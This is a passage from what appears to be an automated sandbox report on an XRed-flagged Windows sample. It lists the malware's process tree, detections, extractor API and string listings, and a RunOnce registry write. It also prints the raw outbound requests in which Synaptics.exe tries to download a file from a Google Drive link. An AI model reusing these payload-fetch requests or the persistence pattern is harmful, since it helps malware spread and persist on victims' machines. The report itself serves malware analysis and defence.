145	192.168.2.7	50205	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:32 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4yeL90xrO1Sx9ere9W88D5eUced247ITk2H6g0J1FTW44uyJ6PejgACgBAFCNlgI-Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:32 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qx5I-tlHyvV1h75KmD-97Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:32 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:32 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 76 46 59 4a 59 66 53 63 48 37 30 76 6c 6c 77 7a 74 37 56 32 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="4vFYJYfScH70vllwzt7V2g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:32 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	50206	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0tx6D1utisEurH7BkWjj3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	50208	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:33 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6ThkGaDbigguh77pL1LF71tnN2N2r2UpCgt0yGwPYpM-_U7iEUHeAkLgTEYAKfcRyd Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:32 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_Q6RJdQsF50F5w4GRSROvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:33 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 6d 35 62 57 38 4d 58 55 54 30 59 63 36 38 34 58 74 43 71 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wm5bW8MXUT0Yc684XtCqmA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	50207	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-ECFtHtumK8Rl9FiCpBhjAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	50212	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rKOAOljl0tw-dvnorTikDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	14:28:30
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'059'840 bytes
MD5 hash:	EABA5B2C3B6607177112EC5F26438BA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:28:31
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_file.exe"
Imagebase:	0x1000000
File size:	288'088 bytes
MD5 hash:	FD6057B33E15A553DDC5D9873723CE8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:28:32
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	7407C51DD7AC30C4D79658D991A8B5D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:28:33
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
Imagebase:	0x2c0000
File size:	498'688 bytes
MD5 hash:	EAA6B5EE297982A6A396354814006761
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:28:34
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xb40000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:28:52
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	7407C51DD7AC30C4D79658D991A8B5D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:25:10
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15608
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:25:32
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 2952
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:25:33
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14432
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:25:33
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14456
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:25:34
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 3252
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:25:34
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15520
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:25:34
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14552
Imagebase:	0xfb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20%
Dynamic/Decrypted Code Coverage:	79.8%
Signature Coverage:	22.3%
Total number of Nodes:	913
Total number of Limit Nodes:	40

Executed Functions

Function 010022FF Relevance: 59.8, APIs: 23, Strings: 11, Instructions: 255
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(?,00000000,00000001,771AF530,00000000), ref: 0100231B
lstrcpyA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,01001324), ref: 01002366
lstrcpyA.KERNEL32(?,?,?,?,01001324), ref: 01002379
lstrcmpiA.KERNEL32(00000000,.INF), ref: 01002397
lstrlenA.KERNEL32(DefaultInstall,?,01001318,?), ref: 010023E8
lstrlenA.KERNEL32(?,?,01001314), ref: 0100240D
LocalAlloc.KERNEL32(00000040,00000200), ref: 0100241B
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 01002457
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,01001251,?,00000008,?), ref: 01002486
lstrcpyA.KERNEL32(00000000,?), ref: 010024A2
lstrcpyA.KERNEL32(?,?), ref: 010024AE
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 010024DE
wsprintfA.USER32 ref: 01002503
lstrcmpiA.KERNEL32(00000000,.BAT), ref: 01002525
lstrlenA.KERNEL32(Command.com /c %s), ref: 01002537
lstrlenA.KERNEL32(?), ref: 01002542
LocalAlloc.KERNEL32(00000040,00000008), ref: 0100254B
wsprintfA.USER32 ref: 01002567
LocalAlloc.KERNEL32(00000040,00000400,?,0000002E,?,0000002E), ref: 0100257C
GetFileAttributesA.KERNELBASE(?), ref: 010025A4
lstrcpyA.KERNEL32(?,?), ref: 010025C1
lstrcatA.KERNEL32(?,01001324), ref: 010025E1
lstrcpyA.KERNEL32(?,00000000), ref: 010025F0

Strings

rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 010024FB
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01002360
setupapi.dll, xrefs: 010024E6, 010024FA
.BAT, xrefs: 0100251F
Version, xrefs: 01002481
DefaultInstall, xrefs: 010023E1, 0100243D, 01002456, 0100249E, 010024F9
Reboot, xrefs: 01002451
.INF, xrefs: 01002391
Command.com /c %s, xrefs: 01002531, 01002536, 01002565
AdvancedINF, xrefs: 0100247C
setupx.dll, xrefs: 010024D9

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: lstrcpy$lstrlen$AllocLocal$PrivateProfilelstrcmpiwsprintf$AttributesFileNamePathShortStringlstrcat
String ID: .BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 1932099537-981289760
Opcode ID: 9cfc3f925ef709eea2b6e4c056a8937429d4c1d82baa32382744840923556eea
Instruction ID: f0cbcbf04177e37c30e3133f67ae01d03030f470cf72cf61e2aa79d8b69a16e6
Opcode Fuzzy Hash: 9cfc3f925ef709eea2b6e4c056a8937429d4c1d82baa32382744840923556eea
Instruction Fuzzy Hash: 47916071A00249BAFB23DBA4CD49FDE7BBCAB45700F144195F6C5E6080E7B5DA808B60

Function 0100198B Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 169
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,00000000,?,00000001,771AF530), ref: 010019E4
wsprintfA.USER32 ref: 01001A09
RegQueryValueExA.KERNELBASE(00000000,wextract_cleanup0,00000000,00000000,00000000,?), ref: 01001A1D
RegCloseKey.ADVAPI32(00000000), ref: 01001A37
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 01001A56
LoadLibraryA.KERNELBASE(?,?,advpack.dll), ref: 01001A74
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 01001A8B
FreeLibrary.KERNELBASE(?), ref: 01001A9F
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 01001AB1
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01001AD7
lstrlenA.KERNEL32(00000000), ref: 01001AE2
LocalAlloc.KERNEL32(00000040,00000050), ref: 01001AEB
GetModuleFileNameA.KERNEL32(00000000,00000104), ref: 01001B19
RegCloseKey.ADVAPI32(00000000,00000000,000004B5,00000000,00000000,00000010,00000000), ref: 01001B26
wsprintfA.USER32 ref: 01001B59
lstrlenA.KERNEL32(00000000), ref: 01001B63
RegSetValueExA.KERNELBASE(00000000,wextract_cleanup0,00000000,00000001,00000000,00000001), ref: 01001B70
RegCloseKey.KERNELBASE(00000000), ref: 01001B79
LocalFree.KERNEL32(00000000), ref: 01001B80

